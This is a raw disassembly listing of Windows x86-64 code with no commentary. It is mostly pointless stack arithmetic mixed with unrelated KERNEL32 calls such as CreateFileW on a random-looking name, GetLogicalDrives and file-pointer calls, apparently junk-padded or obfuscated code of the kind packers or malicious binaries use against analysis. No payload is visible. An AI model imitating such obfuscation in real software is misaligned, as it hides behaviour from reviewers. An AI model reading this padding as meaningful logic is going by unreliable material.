mov word [rsp + 0x35f4], ax
mov rax, qword [rsp + 0x19c88]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x198c8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1e4], al
mov rax, qword [rsp + 0x19940]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x19ca8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2234], ax
mov rax, qword [rsp + 0x19af0]
mov rcx, qword [rsp + 0x19b08]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x19a90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19c98]
mov eax, dword [rax]
mov dword [rsp + 0xd18c], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x196d0], rax
movzx eax, word [rsp + 0x3640]
movzx ecx, word [rsp + 0x35a8]
or eax, ecx
mov rcx, qword [rsp + 0x198e8]
mov word [rcx], ax
movzx eax, byte [0x1402acb76]
mov rcx, qword [rsp + 0x19c28]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x19b78]
mov byte [rcx], al
lea rax, [rsp + 0x8544]
mov qword [0x1402bf670], rax
mov eax, dword [rsp + 0xcfc8]
mov dword [rsp + 0xd190], eax
mov rax, qword [rsp + 0x196b8]
mov ecx, dword [rsp + 0xced0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xcef0], eax
mov rax, qword [rsp + 0x196e0]
mov ecx, dword [rsp + 0x8354]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8964], eax
movzx eax, byte [rsp + 0x7a7]
movzx ecx, byte [0x1402bf720]
sub eax, ecx
mov byte [rsp + 0x61], al
movzx eax, word [rsp + 0x36dc]
mov rcx, qword [rsp + 0x19b50]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x198e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x19c10]
mov eax, dword [rax]
mov dword [rsp + 0xd194], eax
mov rax, qword [rsp + 0x19a30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xced4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd160], eax
mov eax, dword [rsp + 0xd0e4]
mov dword [rsp + 0xd198], eax
mov rax, qword [rsp + 0x19780]
mov rcx, qword [rsp + 0x19c98]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402bf788], eax
mov eax, dword [rsp + 0x951c]
mov ecx, dword [rsp + 0xb4b0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd030], eax
mov rax, qword [rsp + 0x198c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x19c88]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x786], al
mov rax, qword [rsp + 0x19768]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x19890]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1de8], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.XU_rcDiFjcr6GSf8F1H24FJd
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x19cb0], rax
mov rax, qword [0x1402bf6d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3618]
imul eax, ecx
mov word [rsp + 0x3698], ax
mov rax, qword [rsp + 0x19830]
movzx eax, byte [rax]
mov byte [rsp + 0x7c0], al
mov rax, qword [rsp + 0x19af0]
mov rcx, qword [rsp + 0x19910]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xcfe8], eax
mov rax, qword [0x1402bf718]
mov eax, dword [rax]
mov dword [rsp + 0xd19c], eax
mov rax, qword [rsp + 0x19948]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7bc]
sar eax, cl
mov byte [rsp + 0x38b], al
movzx eax, word [rsp + 0x2104]
mov rcx, qword [rsp + 0x19bc0]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x1402ad6c4], ax
mov rax, qword [rsp + 0x19b08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa554]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x196e0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x838c]
mov ecx, dword [rsp + 0xcf7c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa628], eax
mov eax, dword [rsp + 0xcedc]
mov ecx, dword [rsp + 0x91fc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa934], eax
mov rax, qword [rsp + 0x19710]
mov eax, dword [rax]
mov dword [rsp + 0xd1a0], eax
movzx eax, byte [rsp + 0x9a]
movzx ecx, byte [rsp + 0x795]
imul eax, ecx
mov byte [rsp + 0x7b2], al
movzx eax, word [rsp + 0x363c]
movzx ecx, word [rsp + 0x2a30]
and eax, ecx
mov rcx, qword [rsp + 0x19848]
mov word [rcx], ax
mov eax, dword [rsp + 0xa1dc]
mov dword [rsp + 0xd1a4], eax
mov rax, qword [rsp + 0x19c48]
mov rcx, qword [rsp + 0x19c00]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa528], eax
mov rax, qword [rsp + 0x198c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x55e]
sub eax, ecx
mov byte [0x1402acb8b], al
mov rax, qword [rsp + 0x19960]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x19940]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1890], ax
mov rax, qword [rsp + 0x19948]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe4]
sub eax, ecx
mov rcx, qword [rsp + 0x19c70]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0xcce0], eax
mov rax, qword [rsp + 0x19be8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x35c0]
add eax, ecx
mov word [rsp + 0x3688], ax
mov rax, qword [rsp + 0x19ba0]
mov eax, dword [rax]
mov dword [rsp + 0xd1a8], eax
mov rax, qword [rsp + 0x199f8]
mov rcx, qword [rsp + 0x19a90]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd1a0], eax
mov rax, qword [rsp + 0x19988]
mov eax, dword [rax]
mov dword [rsp + 0xd1ac], eax
mov rax, qword [rsp + 0x19850]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8de8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7d8], eax
mov eax, dword [0x1402bf6bc]
mov dword [rsp + 0xd1b0], eax
movzx eax, byte [rsp + 0x590]
mov rcx, qword [rsp + 0x19c28]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x19a08]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xce44], eax
lea rax, [rsp + 0x3608]
mov qword [0x1402bf668], rax
mov rax, qword [0x1402bf670]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcee8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xce04], eax
mov eax, dword [rsp + 0xa958]
movzx ecx, al
mov eax, dword [rsp + 0xcfa0]
shl eax, cl
mov dword [rsp + 0xbb68], eax
mov rax, qword [rsp + 0x19b18]
mov ecx, dword [rsp + 0xce08]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xce30], eax
mov eax, dword [rsp + 0xd098]
mov dword [rsp + 0xd1b4], eax
mov rax, qword [rsp + 0x19c70]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x79b]
cdq
idiv ecx
mov byte [rsp + 0x787], al
mov rax, qword [rsp + 0x19aa8]
movzx eax, word [rax]
movzx ecx, word [0x1402bf738]
sar eax, cl
mov word [rsp + 0x35fc], ax
mov rax, qword [rsp + 0x19890]
movzx eax, word [rax]
mov word [rsp + 0x3724], ax
mov rax, qword [rsp + 0x199d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1e4]
and eax, ecx
mov byte [rsp + 0x78b], al
lea rcx, [rsp + 0x197a0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x19910]
mov rcx, qword [rsp + 0x19ac0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402ad6b8], eax
mov rax, qword [rsp + 0x19c48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xce30]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcc80], eax
mov rax, qword [rsp + 0x19c28]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19828]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x79d], al
mov rax, qword [rsp + 0x19848]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3680]
imul eax, ecx
mov word [rsp + 0x1f7c], ax
mov rax, qword [rsp + 0x19750]
mov eax, dword [rax]
mov dword [rsp + 0xd1b8], eax
mov rax, qword [rsp + 0x19b08]
mov ecx, dword [rsp + 0xcfe8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcf20], eax
mov eax, dword [rsp + 0xd0d8]
mov dword [rsp + 0xd1bc], eax
mov rax, qword [rsp + 0x19b90]
mov rcx, qword [rsp + 0x199c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x19b18]
mov dword [rcx], eax
movzx eax, word [rsp + 0x3600]
movzx ecx, word [0x1402ad640]
sub eax, ecx
mov word [rsp + 0x3640], ax
mov rcx, qword [rsp + 0x19b68]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xd1c0], eax
mov rax, qword [rsp + 0x19948]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19a08]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1402acb5b], al
mov r9d, 1
xor r8d, r8d
mov edx, 0xac51
mov rcx, qword [rsp + 0x19688]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xcd9c], eax
mov rax, qword [rsp + 0x19bf8]
mov ecx, dword [rsp + 0xc8f4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xb024], eax
mov eax, dword [rsp + 0xce2c]
movzx ecx, al
mov eax, dword [0x1402ad6b0]
shl eax, cl
mov dword [rsp + 0xce34], eax
mov eax, dword [rsp + 0xce9c]
mov dword [rsp + 0xd1c4], eax
mov eax, dword [rsp + 0x8cc0]
movzx ecx, al
mov eax, dword [rsp + 0xb4b0]
sar eax, cl
mov dword [rsp + 0xcf1c], eax
mov eax, dword [0x1402ad694]
mov dword [rsp + 0xd1c8], eax
mov rax, qword [rsp + 0x19940]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x19890]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1f80], ax
mov r9d, 2
lea r8, [rsp + 0x19918]
mov rdx, qword [rsp + 0x19970]
mov rcx, qword [rsp + 0x199e0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xd1cc], eax
movsx eax, byte [rsp + 0x7ac]
movsx ecx, byte [0x1402bf712]
xor eax, ecx
mov byte [rsp + 0x1c1], al
mov rax, qword [rsp + 0x19c40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x361c]
cdq
idiv ecx
mov word [rsp + 0x2338], ax
movzx eax, byte [rsp + 0x3a1]
mov byte [0x1402bf660], al
mov eax, dword [rsp + 0xb340]
mov ecx, dword [rsp + 0xd02c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa554], eax
mov edx, 0x1223
mov rcx, qword [rsp + 0x199b8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xcf24], eax
mov rax, qword [rsp + 0x19ac0]
mov eax, dword [rax]
mov dword [rsp + 0xd1d0], eax
mov rax, qword [rsp + 0x197a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3698]
imul eax, ecx
mov word [rsp + 0x35e4], ax
movzx eax, byte [rsp + 0x7be]
movzx ecx, byte [0x1402bf720]
sub eax, ecx
mov byte [rsp + 0x63d], al
mov rax, qword [rsp + 0x19a30]
mov eax, dword [rax]
mov dword [rsp + 0xd1d4], eax
mov rax, qword [rsp + 0x19b28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd1b4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa2a0], eax
mov rax, qword [rsp + 0x198a8]
mov eax, dword [rax]
mov dword [rsp + 0xd1d8], eax
mov rax, qword [rsp + 0x19c78]
mov ecx, dword [rsp + 0x8fb0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd050], eax
movzx eax, byte [rsp + 0x7a1]
movzx ecx, byte [rsp + 0x799]
add eax, ecx
mov byte [0x1402acb8e], al
mov rax, qword [rsp + 0x19858]
movzx eax, word [rax]
mov rcx, qword [0x1402bf688]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x3640], ax
lea rax, [rsp + 0x83ec]
mov qword [rsp + 0x19cb8], rax
mov eax, dword [rsp + 0xb250]
mov ecx, dword [rsp + 0xc658]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd1bc], eax
movsx eax, byte [0x1402bf712]
movsx ecx, byte [rsp + 0x789]
add eax, ecx
mov byte [rsp + 0x1d3], al
movsx eax, word [rsp + 0x324c]
movsx ecx, word [rsp + 0x3624]
add eax, ecx
mov word [rsp + 0x3710], ax
movzx eax, byte [rsp + 0x3a1]
mov rcx, qword [rsp + 0x19c28]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x590], al
movzx eax, word [rsp + 0x1f48]
mov word [rsp + 0x3728], ax
mov eax, dword [rsp + 0xd074]
mov ecx, dword [rsp + 0xd12c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcee8], eax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xccf8], eax
mov rax, qword [rsp + 0x198c0]
mov rcx, qword [0x1402bf768]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [0x1402bf718]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa970]
mov dword [rsp + 0xd1dc], eax
mov rax, qword [rsp + 0x19a90]
mov rcx, qword [rsp + 0x196e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xca14], eax
mov rax, qword [0x1402bf750]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19988]
mov qword [rsp + 0x19cc0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19cc0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xc770], eax
movzx eax, word [rsp + 0x3638]
movzx ecx, word [rsp + 0x35dc]
shl eax, cl
mov word [rsp + 0x36d4], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x19860]
movzx eax, byte [rax]
mov rcx, qword [0x1402bf778]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x45b], al
mov rax, qword [rsp + 0x199c8]
mov eax, dword [rax]
mov dword [rsp + 0xd1e0], eax
mov rax, qword [rsp + 0x19ac0]
mov rcx, qword [rsp + 0x19728]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x199f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19850]
mov eax, dword [rax]
mov dword [rsp + 0xd1e4], eax
mov rax, qword [0x1402bf718]
mov ecx, dword [rsp + 0xd0ec]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402bf770], eax
mov rax, qword [rsp + 0x19a50]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7a4]
sub eax, ecx
mov byte [rsp + 0x7b4], al
mov rax, qword [rsp + 0x19be8]
movzx eax, word [rax]
mov rcx, qword [0x1402bf6d0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x35bc], ax
movsx eax, byte [rsp + 0x7ad]
movsx ecx, byte [rsp + 0x55e]
sub eax, ecx
mov byte [rsp + 0x17d], al
mov rax, qword [rsp + 0x19940]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x35b4]
add eax, ecx
mov rcx, qword [rsp + 0x19800]
mov word [rcx], ax
mov eax, dword [0x1402bf748]
mov dword [rsp + 0xd1e8], eax
mov rax, qword [rsp + 0x198f0]
mov rcx, qword [rsp + 0x199c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x19bd8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x199a0]
movzx eax, word [rax]
movzx ecx, word [0x1402ad660]
sub eax, ecx
mov word [rsp + 0x36dc], ax
movzx eax, byte [rsp + 0x7c0]
mov byte [rsp + 0x7c1], al
mov rax, qword [rsp + 0x19ba0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd0f8]
add ecx, eax
mov eax, ecx
mov dword [0x1402ad6e0], eax
mov eax, dword [0x1402bf6f8]
mov ecx, dword [rsp + 0xd1bc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa934], eax
lea rax, [rsp + 0xd14c]
mov qword [rsp + 0x19cc8], rax
mov rcx, qword [rsp + 0x19838]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xd104], eax
mov eax, dword [rsp + 0x83ec]
mov ecx, dword [rsp + 0xcf9c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xcdf4], eax
mov rax, qword [rsp + 0x19950]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19858]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x25e0], ax
movzx eax, byte [rsp + 0x7a8]
movzx ecx, byte [rsp + 0x666]
or eax, ecx
mov byte [rsp + 0x7c0], al
mov eax, dword [rsp + 0xb688]
movzx ecx, al
mov eax, dword [rsp + 0xd14c]
shl eax, cl
mov dword [rsp + 0xc224], eax
lea rdx, [rsp + 0x19cd0]
mov rcx, qword [rsp + 0x19698]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xcf84], eax
lea rax, [0x1402bf788]
mov qword [rsp + 0x19cd8], rax
mov rax, qword [rsp + 0x19910]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19ac0]
mov qword [rsp + 0x19ce0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19ce0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xcf80], eax
mov rax, qword [rsp + 0x19c78]
mov rcx, qword [0x1402bf718]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [0x1402ad6c0], eax
mov eax, dword [rsp + 0xd050]
mov dword [rsp + 0xd1ec], eax
movsx eax, byte [rsp + 0x78b]
mov rcx, qword [rsp + 0x19bb0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x198c8]
mov byte [rcx], al
movzx ecx, word [rsp + 0x35e8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x35b0], ax
movsx eax, word [rsp + 0x1f80]
movsx ecx, word [0x1402ad2f8]
sub eax, ecx
mov rcx, qword [rsp + 0x19768]
mov word [rcx], ax
mov rax, qword [rsp + 0x19c28]
movzx eax, byte [rax]
mov byte [rsp + 0x7c2], al
movzx eax, word [rsp + 0x3684]
mov rcx, qword [rsp + 0x19848]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x36f0], ax
mov rax, qword [rsp + 0x19b28]
mov ecx, dword [rsp + 0xd184]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xc91c], eax
mov rax, qword [rsp + 0x198a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd194]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcecc], eax
movzx eax, byte [rsp + 0xe4]
movzx ecx, byte [rsp + 0x38b]
add eax, ecx
mov byte [rsp + 0x2a1], al
movzx eax, word [0x1402ad6c4]
mov word [0x1402bf65e], ax
mov eax, dword [rsp + 0xce94]
mov dword [rsp + 0xd1f0], eax
mov rax, qword [rsp + 0x199c8]
mov rcx, qword [rsp + 0x19a30]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xd018], eax
mov rax, qword [rsp + 0x19c58]
mov eax, dword [rax]
mov dword [rsp + 0xd1f4], eax
mov rax, qword [rsp + 0x19bf8]
mov rcx, qword [rsp + 0x19728]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa2e8], eax
mov rax, qword [rsp + 0x19830]
movzx eax, byte [rax]
cdq
mov ecx, 0x93
idiv ecx
mov rcx, qword [rsp + 0x19c70]
mov byte [rcx], al
lea rax, [0x1402ad690]
mov qword [rsp + 0x19ce8], rax
mov rcx, qword [rsp + 0x19b68]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xcdec], eax
mov rax, qword [rsp + 0x19c98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd190]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xd084], eax
lea rax, [rsp + 0xcde4]
mov qword [rsp + 0x19cf0], rax
movsx eax, word [rsp + 0x3304]
movsx ecx, word [rsp + 0x36e0]
xor eax, ecx
mov word [0x1402ad6e4], ax
movsx eax, byte [rsp + 0x789]
movsx ecx, byte [rsp + 0x102]
sar eax, cl
mov byte [rsp + 0x475], al
mov rax, qword [rsp + 0x19a50]
movzx eax, byte [rax]
mov byte [rsp + 0x7c3], al
mov rax, qword [rsp + 0x19a88]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x363c]
shl eax, cl
mov word [rsp + 0x252c], ax
mov eax, dword [rsp + 0xcec8]
mov ecx, dword [rsp + 0xb024]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xc8f4], eax
mov rax, qword [rsp + 0x19bf8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x90c4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9ec8], eax
mov rax, qword [rsp + 0x199c8]
mov rcx, qword [rsp + 0x19c98]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcea8], eax
lea rax, [rsp + 0xc658]
mov qword [rsp + 0x19cf8], rax
mov rax, qword [rsp + 0x19c58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd0d8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb22c], eax
mov rax, qword [rsp + 0x19a28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3714]
sub eax, ecx
mov rcx, qword [rsp + 0x19c40]
mov word [rcx], ax
mov rax, qword [rsp + 0x19948]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x78d]
sub eax, ecx
mov byte [0x1402bf710], al
mov eax, dword [0x1402ad6b8]
mov dword [rsp + 0xd1f8], eax
mov rax, qword [rsp + 0x19c58]
mov ecx, dword [rsp + 0xd19c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9e08], eax
mov rax, qword [rsp + 0x199c8]
mov eax, dword [rax]
mov dword [rsp + 0xd1fc], eax
mov rax, qword [rsp + 0x19710]
mov rcx, qword [rsp + 0x19cb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xaba8], eax
mov rax, qword [rsp + 0x19a88]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x370c]
add eax, ecx
mov rcx, qword [rsp + 0x19aa8]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xd200], eax
lea rax, [rsp + 0x3a2]
mov qword [rsp + 0x19d00], rax
mov rax, qword [rsp + 0x19bb0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x19af8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x7ad], al
mov rax, qword [rsp + 0x19800]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2234]
sar eax, cl
mov word [rsp + 0x3114], ax
mov eax, dword [rsp + 0xa2a0]
mov ecx, dword [rsp + 0xd0e4]
or ecx, eax
mov eax, ecx
mov dword [0x1402ad6e8], eax
mov rax, qword [rsp + 0x19a60]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x198a8]
mov qword [rsp + 0x19d08], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19d08]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x8754], eax
mov rax, qword [rsp + 0x19b78]
movzx eax, byte [rax]
mov byte [rsp + 0x7c4], al
mov rax, qword [rsp + 0x19aa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3638]
xor eax, ecx
mov word [rsp + 0x35fc], ax
mov rax, qword [rsp + 0x19850]
mov rcx, qword [rsp + 0x198c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xbc10], eax
mov eax, dword [rsp + 0xd0a4]
mov dword [rsp + 0xd204], eax
mov rax, qword [rsp + 0x19888]
mov rcx, qword [0x1402bf768]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x19750]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19850]
mov rcx, qword [rsp + 0x19c30]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xc9c0], eax
movzx eax, byte [rsp + 0x797]
movzx ecx, byte [rsp + 0x78f]
sub eax, ecx
mov byte [rsp + 0x7b2], al
movzx eax, word [0x1402bf65e]
mov rcx, qword [rsp + 0x19b50]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1402ad648], ax
mov rax, qword [rsp + 0x196e0]
mov ecx, dword [rsp + 0xaba8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd10c], eax
mov rax, qword [rsp + 0x199c8]
mov eax, dword [rax]
mov dword [rsp + 0xd208], eax
mov eax, dword [rsp + 0x9498]
mov ecx, dword [rsp + 0xaf94]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd194], eax
mov rcx, qword [rsp + 0x199b8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rdx, [rsp + 0x2c078]
mov rcx, qword [rsp + 0x19cb0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xcd50], eax
lea rax, [rsp + 0xad2c]
mov qword [rsp + 0x19d10], rax
mov rax, qword [rsp + 0x19980]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcd1c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19c10]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x199c0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, byte [rsp + 0x475]
movsx ecx, byte [rsp + 0x7b9]
sub eax, ecx
mov byte [rsp + 0x7ac], al
movzx eax, word [rsp + 0x3304]
mov word [rsp + 0x372c], ax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0xcef8], eax
movzx eax, byte [rsp + 0x78e]
movzx ecx, byte [0x1402bf6b8]
add eax, ecx
mov byte [rsp + 0x7bb], al
mov rax, qword [rsp + 0x19858]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x35f0]
add eax, ecx
mov word [0x1402bf6a4], ax
mov rax, qword [rsp + 0x19cb8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xd118]
shl eax, cl
mov dword [rsp + 0xbad0], eax
mov rax, qword [rsp + 0x19a90]
mov rcx, qword [rsp + 0x196e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x83e4], eax
movzx eax, byte [rsp + 0x3a2]
movzx ecx, byte [rsp + 0x580]
cdq
idiv ecx
mov byte [rsp + 0x7a2], al
lea rax, [0x1402ad6d0]
mov qword [rsp + 0x19d18], rax
mov eax, dword [rsp + 0x9f6c]
movzx ecx, al
mov eax, dword [rsp + 0xac04]
sar eax, cl
mov dword [rsp + 0xced0], eax
mov eax, dword [rsp + 0x9c14]
mov dword [rsp + 0xd20c], eax
mov rax, qword [rsp + 0x198b8]
mov ecx, dword [0x1402ad6cc]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xd1e4], eax
mov eax, dword [rsp + 0xd0f0]
mov dword [rsp + 0xd210], eax
movzx eax, word [rsp + 0x36c4]
mov word [0x1402bf65c], ax
mov rax, qword [rsp + 0x199e8]
movzx eax, byte [rax]
imul eax, eax, 0x90
mov byte [rsp + 0x798], al
mov rax, qword [rsp + 0x19728]
mov eax, dword [rax]
mov ecx, dword [0x1402bf748]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xc7e0], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
lea rax, [rsp + 0xd094]
mov qword [rsp + 0x19d20], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xcef8], eax
mov rax, qword [rsp + 0x19768]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x19ca8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1f80], ax
mov rax, qword [rsp + 0x19af8]
movzx eax, byte [rax]
mov byte [rsp + 0x7c5], al
mov rax, qword [rsp + 0x19c70]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3be]
sub eax, ecx
mov rcx, qword [rsp + 0x19c28]
mov byte [rcx], al
